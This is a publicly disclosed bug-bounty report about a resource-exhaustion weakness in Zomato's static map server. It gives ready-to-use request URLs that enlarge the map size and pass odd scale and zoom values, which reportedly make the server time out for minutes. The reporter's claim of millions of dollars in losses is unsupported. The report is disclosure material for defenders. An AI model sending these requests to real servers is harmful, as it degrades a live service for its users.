HexBrain

Eternal · Report #751904

Zomato Map server going out of memory while resizing map image

N/Astatus
9upvotes
5 Dec 2019disclosed

How it was found

Go to

https://maps.zomato.com/php/staticmap?center=0,0&size=240x150&maptype=zomato&markers=180,180,pin_res32&sensor=false&scale=%&zoom=eval(2147483647+1)&language=en

a map will be displayed

Now increase the map size by 10x

https://maps.zomato.com/php/staticmap?center=0,0&size=2400x1500&maptype=zomato&markers=180,180,pin_res32&sensor=false&scale=%&zoom=eval(2147483647+1)&language=en

It will always timeout after waiting from 1-15 minutes

POC video is attached.

Impact

Zomato Map servers can be bought down making map feature completely non functional and causing millions of dollars loss for Zomato.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original